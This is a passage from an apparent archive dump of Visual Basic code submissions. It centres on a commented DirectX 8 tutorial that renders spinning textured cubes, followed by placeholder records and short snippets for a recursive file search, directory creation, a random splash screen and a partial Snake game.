if this happens. A real\nprogram would be able to detect an error and automatically switch device. It also requests software vertex processing, which means the CPU has to\ntransform and light geometry, but if you have a good graphics card, you might be\nable to use hardware vertex processing. \nThe sample program assumes your computer can render in 16 bit (R5G6B5) color\nformat, in 640 x 480 resolution. If this is not the case, it may fail but you\ncan change those values in the source code.\nThe sample program renders the same texture mapped 3D cube in different\npositions. It uses the same cube but it makes it appear that there are 3, each\nof different sizes, and they are all spinning and rotating around everywhere.\nThe camera can be zoomed in and out using the mouse and the program can be\nexited using the escape key. The program plays a sound every time the animation\nloop restarts. It attempts to show all the basic features of DirectX 8 simply.\nIt is not optimized so as to keep it as simple to understand as possible.\nThe main point to note is the that the animation is achieved by moving the\nworld transformation. Every single line is commented, an there are lengthy\nexplanations of each main function. Here is the full source code and comment to\nview, but you can also <a href=\"http://www.VBgames.co.uk/tutorials/dx8intro.zip\">download</a>\nit.\n---***---SOURCE CODE STARTS HERE---***---\n'----------------------------------------------------------------- \n' \n' DX8 INTRODUCTION - DIRECTGRAPHICS,DIRECTSOUND, DIRECTINPUT \n' \n' BY SIMON PRICE \n' \n'----------------------------------------------------------------- \n \n' For this tutorial program you will need the DirectX8 for Visual \n' Basic Type Library, from www.microsoft.com/directx \n \n' You should also have the tutorial in HTML format, if you don't \n' you can download it from my website www.VBgames.co.uk \n \n' Any questions go to ihaveaquestionforsimonaboutdx8@VBgames.co.uk, \n' or you could use a shorter address :) (si@VBgames.co.uk will do) \n' Any bug reports go to the same address too please, as do comments \n' feedback, suggestions, erm whatever you feel like \n \n' Every time you start a project which will use DirectX8, you need \n' to click on the menu Project -> References and a dialog box will \n' pop up. Check the box which says \"DirectX8 for Visual Basic Type \n' Library\" and click OK. Now VB will know all the types, classes \n' enumerations and functions of DirectX8. \n \nOption Explicit \n \n' GLOBAL VARIABLE DECLARATIONS \n \n' No matter what you do with DirectX8, you will need to start with \n' the DirectX8 object. You will need to create a new instance of \n' the object, using the New keyword, rather than just getting a \n' pointer to it, since there's nowhere to get a pointer from yet (duh!). \n \nDim DX As New DirectX8 \n \n' The DirectInput8 object is used to get data from input devices \n' such as the mouse and keyboard. This is what we will use it for \n' in this tutorial, since they are the most common input devices. \n' Notice how we don't create a new instance of the object, rather \n' DirectX does that for us and we just get a pointer to it. \n \nDim DI As DirectInput8 \n \n' Now we need 2 devices - keyboard and mouse... \n \nDim Keyboard As DirectInputDevice8 \nDim Mouse As DirectInputDevice8 \n \n' ...and a structure (type) to hold the data from each device. DI \n' provides us a custom keyboard and mouse type, since they are \n' commonly used \n \nDim KeyboardState As DIKEYBOARDSTATE \nDim MouseState As DIMOUSESTATE \n \n' Next, we have DirectSound8, this can be used for many things, but \n' for now we just play a sound from a .wav file \n \nDim DS As DirectSound8 \n \n' A sound buffer is a piece of memory in which the sound is stored. \n' We use a secondary buffer, because a primary buffer can actually \n' be heard though the speakers, and the sound needs to be mixed \n' before we allow the user to hear that. In this tutorial, we let \n' DirectSound worry about mixing and copying to the primary buffer \n' to play the sound for us \n \nDim Sound As DirectSoundSecondaryBuffer8 \n \n' The DSBUFFER type holds a description of a sound buffer. We won't \n' use any of the more advanced flags in this tutorial \n \nDim SoundDesc As DSBUFFERDESC \n \n' The Direct3D8 object is responsible for all graphics, yes, even 2D \n \nDim D3D As Direct3D8 \n \n' The D3DX8 object contains lots of helper functions, mostly math \n' to make Direct3D alot easier to use. Notice we create a new \n' instance of the object using the New keyword. \n \nDim D3DX As New D3DX8 \n \n' The Direct3DDevice8 represents our rendering device, which could \n' be a hardware or a software device. The great thing is we still \n' use the same object no matter what it is \n \nDim D3Ddevice As Direct3DDevice8 \n \n' The D3DPRESENT_PARAMETERS type holds a description of the way \n' in which DirectX will display it's rendering \n \nDim D3Dpp As D3DPRESENT_PARAMETERS \n \n' The D3DMATERIAL8 type stores information on the material our \n' polygons are rendered with, such as color \n \nDim Material As D3DMATERIAL8 \n \n' The Direct3DTexture8 object represents a piece of memory used to \n' store a texture to be mapped onto our polygons \n \nDim Texture As Direct3DTexture8 \n \n' The Direct3DVertexBuffer8 object stores an array of vertices from which \n' our polygons are made \n \nDim VertexBuffer As Direct3DVertexBuffer8 \n \n' The D3DVERTEX type stores vertices temporarily before we copy \n' them into the vertex buffer \n \nDim Vertex(1 To 24) As D3DVERTEX \n \n' The Direct3DIndexBuffer8 object stores the order in which our \n' vertices are rendered \n \nDim IndexBuffer As Direct3DIndexBuffer8 \n \n' These integers are used to temporarily store indices before they \n' are copied into the index buffer \n \nDim Index(1 To 36) As Integer \n \n' This stores the rotation of the cubes \n \nDim Rotation As Single \n \n \n \n \n \n \n' FORM_LOAD \n \n' The whole program is started and controlled from here \n \nPrivate Sub Form_Load() \n On Error Resume Next \n ' initialize directx \n If Init = False Then \n ' display error message \n MsgBox \"Error! Could not initialize DirectX!\" \n Else \n ' show form \n Show \n ' do main program loop \n MainLoop \n End If \n ' unload form and clean up directx \n Unload Me \nEnd Sub \n \n \n' FORM_UNLOAD \n \n' Before the program ends, call the cleanup function \n \nPrivate Sub Form_Unload(Cancel As Integer) \n CleanUp \nEnd Sub \n \n \n \n \n \n' INITIALIZATION \n \n' In this function we initialize all the global DirectX objects. We \n' basically get the DirectInput, DirectSound, and DirectGraphics \n' engines started up, and retrieve pointers so we can manipulate them \n \nFunction Init() As Boolean \n \n 'On Error GoTo InitFailed \n \n ' DIRECTINPUT \n \n ' Get a pointer to DirectInput \n Set DI = DX.DirectInputCreate() \n ' Check to see if the pointer is valid \n If DI Is Nothing Then GoTo InitFailed \n \n ' Get a pointer to keyboard and mouse device objects \n Set Keyboard = DI.CreateDevice(\"GUID_SysKeyboard\") \n Set Mouse = DI.CreateDevice(\"guid_SysMouse\") \n ' Check to see if pointers are valid \n If Keyboard Is Nothing Then GoTo InitFailed \n If Mouse Is Nothing Then GoTo InitFailed \n \n ' Set the data formats to the commmonly used keyboard and mouse \n Keyboard.SetCommonDataFormat DIFORMAT_KEYBOARD \n Mouse.SetCommonDataFormat DIFORMAT_MOUSE \n \n ' Set cooperative level, this tells DI how much control we need \n Keyboard.SetCooperativeLevel hWnd, DISCL_NONEXCLUSIVE Or DISCL_BACKGROUND \n Mouse.SetCooperativeLevel hWnd, DISCL_NONEXCLUSIVE Or DISCL_BACKGROUND \n \n ' Now we are ready to aquire (erm, get) our input devices \n Keyboard.Acquire \n Mouse.Acquire \n \n ' DIRECTSOUND \n \n ' Get a pointer to DirectSound \n Set DS = DX.DirectSoundCreate(\"\") \n ' Check the pointer is valid \n If DS Is Nothing Then GoTo InitFailed \n \n ' Set cooperative level, we only need normal functionality \n DS.SetCooperativeLevel hWnd, DSSCL_NORMAL \n \n ' Create a sound buffer from a .wav file. We provide a filename \n ' and a DSBUFFER type, which stores any special information \n ' about the buffer we might need to know (not used here) \n Set Sound = DS.CreateSoundBufferFromFile(App.Path & \"\\sound.wav\", SoundDesc) \n ' Check the pointer is valid \n If Sound Is Nothing Then GoTo InitFailed \n \n ' DIRECT3D \n \n ' Get a pointer to Direct3D \n Set D3D = DX.Direct3DCreate() \n ' Check the pointer is valid \n If D3D Is Nothing Then GoTo InitFailed \n \n ' Fill the D3DPRESENT_PARAMETERS type, describing how DirectX should \n ' display it's renders \n \n With D3Dpp \n ' set the most common fullscreen display mode \n .Windowed = False ' the app is not in a window \n .BackBufferWidth = 640 '\nthe size of the screen \n .BackBufferHeight = 480 \n .BackBufferFormat = D3DFMT_R5G6B5 ' the color depth format (16 bit) \n ' the swap effect determines how the graphics get from \n ' the backbuffer to the screen - note : D3DSWAPEFFECT_DISCARD \n ' means that every time the render is presented, the backbuffer \n ' image is destroyed, so everything must be rendered again \n .SwapEffect = D3DSWAPEFFECT_DISCARD \n ' request a 16 bit z-buffer - this depth sorts the scene \n ' so we can't see polygons that are behind other polygons \n .EnableAutoDepthStencil = 1 \n .AutoDepthStencilFormat = D3DFMT_D16 \n ' 1 backbuffer \n .BackBufferCount = 1 \n End With \n \n ' Create the rendering device. Here we request a hardware rasterization. \n ' If your computer does not have this, the request may fail, so use \n ' D3DDEVTYPE_REF instead of D3DDEVTYPE_HAL if this happens. A real \n ' program would be able to detect an error and automatically switch device. \n ' We also request software vertex processing, which means the CPU has to \n ' transform and light our geometry \n Set D3Ddevice = D3D.CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL,\nhWnd, D3DCREATE_SOFTWARE_VERTEXPROCESSING, D3Dpp) \n ' check the pointer is valid \n If D3Ddevice Is Nothing Then GoTo InitFailed \n \n ' Set rendering options \n D3Ddevice.SetRenderState D3DRS_CULLMODE, D3DCULL_NONE \n D3Ddevice.SetRenderState D3DRS_ZENABLE, D3DZB_TRUE ' enable z buffering \n D3Ddevice.SetRenderState D3DRS_FILLMODE, D3DFILL_SOLID ' render solid polygons \n D3Ddevice.SetRenderState D3DRS_LIGHTING, True ' enable lighting \n D3Ddevice.SetRenderState D3DRS_AMBIENT, vbWhite ' use ambient white light \n \n ' Set the material properties \n With Material.Ambient \n .a = 1: .r = 1: .g = 1: .b = 1 \n End With \n \n ' Create a texture surface from a file \n Set Texture = D3DX.CreateTextureFromFile(D3Ddevice, App.Path & \"\\texture.bmp\") \n ' Check the pointer is valid \n If Texture Is Nothing Then GoTo InitFailed \n \n ' Set the material and texture as the current ones to render from \n D3Ddevice.SetMaterial Material \n D3Ddevice.SetTexture 0, Texture \n \n ' Create a vertex buffer, using default usage and specifying enough memory for 24 vertices of format \nD3DFVF_VERTEX \n Set VertexBuffer = D3Ddevice.CreateVertexBuffer(24 * Len(Vertex(1)), 0, D3DFVF_VERTEX, D3DPOOL_DEFAULT) \n ' Check pointer is valid \n If VertexBuffer Is Nothing Then GoTo InitFailed \n \n ' Create an index buffer, using default uage and specifying enough memory for 36 16 bit integers \n Set IndexBuffer = D3Ddevice.CreateIndexBuffer(36 * Len(Index(1)), 0, D3DFMT_INDEX16, D3DPOOL_DEFAULT) \n ' Check pointer is valid \n If IndexBuffer Is Nothing Then GoTo InitFailed \n \n ' Now we make a cube shape out of our vetices \n Vertex(1) = MakeVertex(-1, 1, -1, 0, 0, -1, 0, 0) \n Vertex(2) = MakeVertex(1, 1, -1, 0, 0, -1, 1, 0) \n Vertex(3) = MakeVertex(-1, -1, -1, 0, 0, -1, 0, 1) \n Vertex(4) = MakeVertex(1, -1, -1, 0, 0, -1, 1, 1) \n Vertex(5) = MakeVertex(1, 1, -1, 0, 0, 1, 0, 0) \n Vertex(6) = MakeVertex(-1, 1, -1, 0, 0, 1, 1, 0) \n Vertex(7) = MakeVertex(1, -1, -1, 0, 0, 1, 0, 1) \n Vertex(8) = MakeVertex(-1, -1, -1, 0, 0, 1, 1, 1) \n \n Vertex(9) = MakeVertex(-1, 1, 1, -1, 0, 0, 0, 0) \n Vertex(10) = MakeVertex(-1, 1, -1, -1, 0, 0, 1, 0) \n Vertex(11) = MakeVertex(-1, -1, 1, -1, 0, 0, 0, 1) \n Vertex(12) = MakeVertex(-1, -1, -1, -1, 0, 0, 1, 1) \n Vertex(13) = MakeVertex(1, 1, -1, 1, 0, 0, 0, 0) \n Vertex(14) = MakeVertex(1, 1, 1, 1, 0, 0, 1, 0) \n Vertex(15) = MakeVertex(1, -1, -1, 1, 0, 0, 0, 1) \n Vertex(16) = MakeVertex(1, -1, 1, 1, 0, 0, 1, 1) \n \n Vertex(17) = MakeVertex(-1, 1, -1, 0, 1, 0, 0, 0) \n Vertex(18) = MakeVertex(1, 1, -1, 0, 1, 0, 1, 0) \n Vertex(19) = MakeVertex(-1, 1, 1, 0, 1, 0, 0, 1) \n Vertex(20) = MakeVertex(1, 1, 1, 0, 1, 0, 1, 1) \n Vertex(21) = MakeVertex(-1, -1, -1, 0, -1, 0, 0, 0) \n Vertex(22) = MakeVertex(1, -1, -1, 0, -1, 0, 1, 0) \n Vertex(23) = MakeVertex(-1, -1, 1, 0, -1, 0, 0, 1) \n Vertex(24) = MakeVertex(1, -1, 1, 0, -1, 0, 1, 1) \n \n ' Copy the vertices into the vertex buffer \n D3DVertexBuffer8SetData VertexBuffer, 0, 24 * Len(Vertex(1)), 0, Vertex(1) \n \n ' Make a list which tells the order in which to render these vertices \n MakeIndices 1, 2, 3, 3, 2, 4, 5, 6, 7, 7, 6, 8, 9, 10, 11, 11, 10, 12, 13, 14, 15, 15, 14, 16, 17, 18, 19, 19, 18, 20, 21, 22, 23, 23, 22, 24 \n \n ' Copy the indices into the index buffer \n D3DIndexBuffer8SetData IndexBuffer, 0, 36 * Len(Index(1)), 0, Index(1) \n \n ' Set the vertex format \n D3Ddevice.SetVertexShader D3DFVF_VERTEX \n \n ' Set the vertex and index buffers as current ones to render from \n D3Ddevice.SetStreamSource 0, VertexBuffer, Len(Vertex(1)) \n D3Ddevice.SetIndices IndexBuffer, -1 \n \n ' Initializtion is complete! \n Init = True \n Exit Function \n \nInitFailed: ' the initialization function has failed \n Init = False \n \nEnd Function \n \n \n \n \n \n' MAKEVECTOR \n \n' This function creates vectors \n \nFunction MakeVector(x As Single, y As Single, z As Single) As D3DVECTOR \n With MakeVector \n .x = x \n .y = y \n .z = z \n End With \nEnd Function \n \n \n \n \n \n' MAKEVERTEX \n \n' This function creates vertices \n \nFunction MakeVertex(x As Single, y As Single, z As Single, nx As Single, ny As Single, nz As Single, tu As Single, tv As Single) As D3DVERTEX \n With MakeVertex \n .x = x \n .y = y \n .z = z \n .nx = nx \n .ny = ny \n .nz = nz \n .tu = tu \n .tv = tv \n End With \nEnd Function \n \n \n \n \n \n' MAKEINDICES \n \n' This function creates a list of indices \n \nFunction MakeIndices(ParamArray Indices()) As Integer() \n Dim i As Integer \n For i = LBound(Indices) To UBound(Indices) \n Index(i + 1) = Indices(i) \n Next \nEnd Function \n \n \n \n \n \n' MAINLOOP \n \n' This sub animates the scene by moving the positions of the \n' cubes and the camera position, then renders the cubes. It \n' checks to see if the escape key has been pressed and loops \n' if it has not. \n \nSub MainLoop() \n' the mathematical constant pi \nConst PI = 3.1415 \n' the speed of animation \nConst SPEED = 0.01 \n' matrices for animation and cameras \nDim matTranslation As D3DMATRIX, matRotation As D3DMATRIX, matScaling As D3DMATRIX, matView As D3DMATRIX, matProjection As D3DMATRIX, matTransform As D3DMATRIX \n' camera position \nDim CameraPos As D3DVECTOR \nOn Error Resume Next \n Do \n ' let Windows messages be executed \n DoEvents \n ' get keyboard and mouse data \n Keyboard.GetDeviceStateKeyboard KeyboardState \n Mouse.GetDeviceStateMouse MouseState \n ' if escape was pressed, exit program \n If KeyboardState.Key(DIK_ESCAPE) Then Exit Do \n ' move camera with mouse \n CameraPos.y = CameraPos.y + MouseState.lY / 10 \n CameraPos.z = -2 \n ' set camera position, using mouse data \n D3DXMatrixLookAtLH matView, MakeVector(CameraPos.x, CameraPos.y, CameraPos.z), MakeVector(0, 0, 0), MakeVector(0, 1, 0) \n D3Ddevice.SetTransform D3DTS_VIEW, matView \n D3DXMatrixPerspectiveFovLH matProjection, PI / 3, 0.75, 0.1, 10000 \n D3Ddevice.SetTransform D3DTS_PROJECTION, matProjection \n ' move the rotation angle \n Rotation = Rotation + SPEED \n If Rotation > 2 * PI Then \n Rotation = Rotation - 2 * PI \n \n' once per rotation, play a sound \n Sound.Play DSBPLAY_DEFAULT \n End If \n ' clear the rendering device backbuffer and z-buffer \n D3Ddevice.Clear 0, ByVal 0, D3DCLEAR_TARGET Or D3DCLEAR_ZBUFFER, vbWhite, 1#, 0 \n ' start rendering \n D3Ddevice.BeginScene \n ' create rotation matrix \n D3DXMatrixRotationYawPitchRoll matTransform, Rotation * 2, Rotation, Rotation \n ' set the world matrix to normal \n D3Ddevice.SetTransform D3DTS_WORLD, matTransform \n ' draw the medium cube \n DrawCube \n ' create movement, rotation and scale matrices \n D3DXMatrixTranslation matTranslation, 0, 0, 4 \n D3DXMatrixRotationYawPitchRoll matRotation, 0, Rotation * 2, Rotation * 4 \n D3DXMatrixScaling matScaling, 0.5, 0.5, 0.5 \n ' combine them \n D3DXMatrixMultiply matTransform, matRotation, matTranslation \n D3DXMatrixMultiply matTransform, matTransform, matScaling \n ' transform the world matrix \n D3Ddevice.MultiplyTransform D3DTS_WORLD, matTransform \n ' draw the small cube \n DrawCube \n ' create movement, rotation and scale matrices \n D3DXMatrixTranslation matTranslation, -3, -3, -3 \n D3DXMatrixRotationYawPitchRoll matRotation, Rotation * 8, 0, Rotation * 6 \n D3DXMatrixScaling matScaling, 0.5, 0.5, 0.5 \n ' combine them \n D3DXMatrixMultiply matTransform, matTranslation, matRotation \n D3DXMatrixMultiply matTransform, matTransform, matScaling \n ' transform the world matrix \n D3Ddevice.MultiplyTransform D3DTS_WORLD, matTransform \n ' draw the small cube \n DrawCube \n ' end rendering \n D3Ddevice.EndScene \n ' present the contents of the backbuffer by flipping it to the screen \n D3Ddevice.Present ByVal 0, ByVal 0, 0, ByVal 0 \n Loop \nEnd Sub \n \n \n \n \n \n' DRAWCUBE \n \n' Draws the cube \n \nSub DrawCube() \nOn Error Resume Next \n ' draw 12 triangles, in a cube shape, onto the backbuffer of the rendering device \n D3Ddevice.DrawIndexedPrimitive D3DPT_TRIANGLELIST, 0, 36, 0, 12 \nEnd Sub \n \n \n \n \n' CLEANUP \n \n' This unloads all the DirectX objects - we destroy objects we \n' have created, an disassociate our pointers from objects \n' create by DirectX, so then DirectX can destroy them. Failing \n' to call this sub can cause memory to be lost. \n \nSub CleanUp() \n \nOn Error Resume Next \n \n Set Keyboard = Nothing \n Set Mouse = Nothing \n Set DI = Nothing \n \n Set Sound = Nothing \n Set DS = Nothing \n \n Set Texture = Nothing \n Set D3Ddevice = Nothing \n Set D3DX = Nothing \n Set D3D = Nothing \n \nEnd Sub\n \n\n---***---SOURCE CODE ENDS HERE---***---\nHey - does somebody have a HTML VB syntax color highlighter? As you can see,\nI got fed up and didn't color in the keywords!\n<h4>What you have learnt</h4>\n<ul>\n <li>Initialization - getting DirectX objects - loading textures, sounds,\n geometry, vertex and index buffers, getting input devices</li>\n <li>Rendering - How to draw and present texture mapped triangles</li>\n <li>Sound - erm, how to play one</li>\n <li>Input - how to read the keyboard and mouse</li>\n <li>Animation - how to use matrices to perform complex animation</li>\n <li>Alot of keywords and terms</li>\n</ul>\n<h4>What you should do next</h4>\n<ul>\n <li>I've left a bug in the program for you on purpose! One face of each cube\n is not rendered! Find the bug and kill it! I do know the answer, honestly,\n but I'm not telling because debugging is a major part of programming for you\n to learn!</li>\n <li>Try some different shapes, animation, colors, textures, sounds, camera\n movements</li>\n <li>Try adding a background</li>\n <li>Make the program more interactive, maybe even make a puzzle or game</li>\n <li>See some of my other programs on my website for more ideas</li>\n</ul>\n<h4>Future Tutorials</h4>\nThere's still lots more to learn and more advanced tutorials will come when I\nget the time. Some major topics include 3D sound, lighting, and loading model\nfiles. Give me some feedback on what you need to know.\n<h4>What I'd like you to do now</h4>\n<ul>\n <li>Visit my website : <a href=\"http://www.VBgames.co.uk\">www.VBgames.co.uk</a>\n - and if you have your own programming site please swap links with me</li>\n <li>Please vote for me - on <a href=\"http://www.planet-source-code.com\">www.planet-source-code.com</a> </li>\n <li>Give me some feedback - go to <a href=\"http://www.planet-source-code.com\">www.planet-source-code.com</a>\n and tell me what was good and what was bad, suggestions, comments, anything.\n Tell me why you voted the rating that you did.</li>\n <li>Hey, my request to write a book got turned down! (erm, private joke with\n someone)</li>\n</ul>\n<h4>Credits</h4>\nThere are lots of sources from where my information came from. Mainly\nMicrosoft's DirectX SDK (as much as I hate them, DirectX rules!). Many tutorials\non <a href=\"http://www.planet-source-code.com\">www.planet-source-code.com</a>\nand <a href=\"http://www.gamedev.net\">www.gamedev.net</a> , and also thanks to\nRichard Hayden for his example program.\n<h4>Disclaimer</h4>\nThis tutorial might be totally wrong so it's not my fault if something goes\nwrong. You've been warned (right at the end, after you messed up your PC)!\n \n"},{"WorldId":1,"id":14219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14249,"LineNumber":1,"line":"'Chris King 01/08/2000 c_king@mtv.com\n \n Option Explicit \nPublic Function SearchDirs(Curpath$, strFName$)\n \n Dim strProg$\n Dim dirs%\n Dim dirbuf$()\n Dim hItem&\n Dim i%\n Dim rtn As Boolean\n \n If Curpath$ = \"\" Then Exit Function\n If strFName$ = \"\" Then Exit Function\n \n If Right(strFName$, 1) = VBBACKSLASH Then\n strFName = Left(strFName, InStr(1, strFName, VBBACKSLASH, vbTextCompare) - 1)\n End If\n \n If Right(Curpath$, 1) <> VBBACKSLASH Then\n Curpath$ = Curpath$ & VBBACKSLASH\n End If\n \n hItem& = FindFirstFile(Curpath$ & VBALLFILES, WFD)\n If hItem& <> INVALID_HANDLE_VALUE Then\n \n Do\n \n If (WFD.dwFileAttributes And vbDirectory) Then\n \n If Asc(WFD.cFileName) <> VBKEYDOT Then\n If (dirs% Mod 10) = 0 Then ReDim Preserve dirbuf$(dirs% + 10)\n dirs% = dirs% + 1\n dirbuf$(dirs%) = Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)\n End If\n \n \n End If\n \n \n strProg$ = Left(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)\n If UCase(strProg$) = UCase(strFName$) Then\n SearchDirs = True\n Exit Function\n Else\n \n SearchDirs = False\n \n End If\n \n DoEvents\n \n Loop While FindNextFile(hItem&, WFD)\n Call FindClose(hItem&)\n \n End If\n \n For i% = 1 To dirs%\n rtn = SearchDirs(Curpath$ & dirbuf$(i%) & VBBACKSLASH, strFName$)\n SearchDirs = rtn\n If rtn Then Exit Function\n Next i%\nEnd Function\n"},{"WorldId":1,"id":14250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14256,"LineNumber":1,"line":"Private Sub CreateDirectoryStruct(CreateThisPath As String)\n 'do initial check\n Dim ret As Boolean, temp$, ComputerName As String, IntoItCount As Integer, x%, WakeString As String\n Dim MadeIt As Integer\n If Dir$(CreateThisPath, vbDirectory) <> \"\" Then Exit Sub\n 'is this a network path?\n If Left$(CreateThisPath, 2) = \"\\\\\" Then ' this is a UNC NetworkPath\n 'must extract the machine name first, then get to the first folder\n IntoItCount = 3\n ComputerName = Mid$(CreateThisPath, IntoItCount, InStr(IntoItCount, CreateThisPath, \"\\\") - IntoItCount)\n IntoItCount = IntoItCount + Len(ComputerName) + 1\n IntoItCount = InStr(IntoItCount, CreateThisPath, \"\\\") + 1\n 'temp = Mid$(CreateThisPath, IntoItCount, x)\n Else ' this is a regular path\n IntoItCount = 4\n End If\n \n WakeString = Left$(CreateThisPath, IntoItCount - 1)\n 'start a loop through the CreateThisPath string\n Do\n x = InStr(IntoItCount, CreateThisPath, \"\\\")\n If x <> 0 Then\n x = x - IntoItCount\n temp = Mid$(CreateThisPath, IntoItCount, x)\n Else\n temp = Mid$(CreateThisPath, IntoItCount)\n End If\n IntoItCount = IntoItCount + Len(temp) + 1\n temp = WakeString + temp\n \n 'Create a directory if it doesn't already exist\n ret = (Dir$(temp, vbDirectory) <> \"\")\n If Not ret Then\n 'ret& = CreateDirectory(temp, Security)\n MkDir temp\n End If\n \n IntoItCount = IntoItCount 'track where we are in the string\n WakeString = Left$(CreateThisPath, IntoItCount - 1)\n Loop While WakeString <> CreateThisPath\n \nEnd Sub\n"},{"WorldId":1,"id":14263,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14265,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14270,"LineNumber":1,"line":"'This Code is to be inserted in the Main Ifrace of your program, it will be hidden while it randomizes which intro splash screen to load.\nPrivate Sub Form_Load()\n'main is the form that shows up after the intro art, could be form1, main or whatever you call it.\n'main.visible=false , that hides the original form\nMain.Visible = False\n'makes the following coding randomized\nRandomize\n'lets it know there will be three options\nSelect Case Int((Rnd * 3) + 1)\n'if case 1 is selected then the intro1 form loads\nCase 1\nintro1.Visible = True\n'if case 2 is selected then the intro2 form loads\nCase 2\nintro2.Visible = True\n'if case 3 is selected then the intro3 form loads\nCase 3\nintro3.Visible = True\n'ends it\nEnd Select\n'*******END CODING*********\n'inside intro1,2,3, you should have either a timer and after an alloted time it makes main.visible=true, and/or on MouseClick of the picture itself. so heres and example\n'Intro1\n'if someone clicks on the intro picture on intro1\n'Private Sub Picture_click()\n'hides the intro\n'intro1.visible=false\n'shows main iface\n'main.visible=true\n'End Sub"},{"WorldId":1,"id":14271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14272,"LineNumber":1,"line":"'***********************************************\n'*This needs a Timer named Timer1 to work *\n'*Form Borderstyle needs to be 1 - Fixed Single*\n'***********************************************\n'-This is a game like snake or nibble\n'If you have any found bugs, please email me\n'jswyft@aol.com\n'You only need to add a timer, and this game\n'should work fine!\nDim x(0 To 1000) As Long, y(0 To 1000) As Long '-11 body pieces\nDim xHead As Long, yHead As Long '-the head coordinates\nDim xspeed As Long, yspeed As Long '-speed of snake\nDim fx As Long, fy As Long '-Food coordinates\nDim Length As Long '-length of body\nDim Level As Long '-level of play\nDim Points As Long '-score\nDim Lives As Long '-Number of Tries\nPrivate Sub Form_Load()\nMe.Caption = \"Snake Clone By Jason Ryczek\"\nMe.Height = 4155\nMe.Width = 3870\n'-This Project needs a timer\nTimer1.Interval = 250 'set at different intervals for different speeds\n'-Set these to form when it loads\nMe.AutoRedraw = True\nMe.ClipControls = False\nMe.ScaleMode = 3\nMe.BackColor = &HC000&\nNew_Game\nEnd Sub\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n'-This is how you move using the keyboard\nSelect Case KeyCode\n Case vbKeyUp '-key up\n If yspeed = 0 Then\n xspeed = 0\n yspeed = -5\n End If\n Case vbKeyDown '-key down\n If yspeed = 0 Then\n xspeed = 0\n yspeed = 5\n End If\n Case vbKeyRight '-key right\n If xspeed = 0 Then\n xspeed = 5\n yspeed = 0\n End If\n Case vbKeyLeft 'key left\n If xspeed = 0 Then\n xspeed = -5\n yspeed = 0\n End If\n Case vbKeyP '-This is for pausing\n If Timer1.Enabled = True Then\n Timer1.Enabled = False '-pause on\n Else\n Timer1.Enabled = True '-pause off\n End If\n Case vbKeyN\n New_Game\nEnd Select\nEnd Sub\nPrivate Sub Timer1_Timer()\nxHead = xHead + xspeed\nyHead = yHead + yspeed\nBodyCycle\nMe.Cls\nBoarder\nBodyHeadHit Length\nMe.Print \"\"\nMe.Print \" Level: \" & Level & \" Score: \" & Points & \" Lives: \" & Lives\nDrawSnake Length\nMe.DrawWidth = 4\nMe.Circle (fx, fy), 1, vbRed\nIf (xHead = fx) And (yHead = fy) Then\n Length = Length + 1\n DrawFood\n Points = Points + 10\nEnd If\nIf (Length / Level) = 10 Then\n Level = Level + 1\nEnd If\nEnd Sub\nSub BodyCycle()\nDim counter As Integer\nFor counter = 1000 To 1 Step -1\n x(counter) = x(counter - 1)\n y(counter) = y(counter - 1)\n x(0) = xHead: y(0) = yHead\nNext counter\nEnd Sub\nSub DrawSnake(ByVal Snake_Length As Long)\nDim a As Integer\nFor a = 1 To Snake_Length\n Me.DrawWidth = 6\n Me.Line (xHead, yHead)-(x(0), y(0))\n Me.Line (x(a - 1), y(a - 1))-(x(a), y(a)), QBColor(1)\n Me.DrawWidth = 1\n Me.Line (x(a - 1) + 1, y(a - 1) + 1)-(x(a) + 1, y(a) + 1), vbCyan\n Me.Line (x(a - 1), y(a - 1))-(x(a) + 1, y(a) - 1), vbYellow\n Me.DrawWidth = 4\n Me.Circle (xHead, yHead), 2, vbBlue\nNext a\nEnd Sub\nSub New_Game()\nLives = 5\nTimer1.Enabled = True\nDrawFood\nDim a As Integer\nFor a = 0 To 1000\n x(a) = Me.ScaleWidth / 2\n y(a) = Me.ScaleWidth\n xHead = Me.ScaleWidth / 2\n yHead = Me.ScaleWidth - 5\n xspeed = 0\n yspeed = -5\nNext a\nPoints = 0\nLength = 5\nLevel = 1\nEnd Sub\nSub New_Start()\nTimer1.Enabled = True\nDrawFood\nDim a As Integer\nFor a = 0 To 1000\n x(a) = Me.ScaleWidth / 2\n y(a) = Me.ScaleWidth\n xHead = Me.ScaleWidth / 2\n yHead = Me.ScaleWidth - 5\n xspeed = 0\n yspeed = -5\nNext a\nEnd Sub\nSub Levels(ByVal Level_Number As Long)\nDim PlayAgain As String '-this is to play again if you win\nSelect Case Level_Number\n Case 1\n Timer1.Interval = 250\n Points = Points + 50\n Case 2\n Timer1.Interval = 225\n Points = Points + 50\n Case 3\n Timer1.Interval = 200\n Points = Points + 50\n Case 4\n Timer1.Interval = 175\n Points = Points + 50\n Case 5\n Timer1.Interval = 150\n Points = Points + 50\n Case 6\n Timer1.Interval = 125\n Points = Points 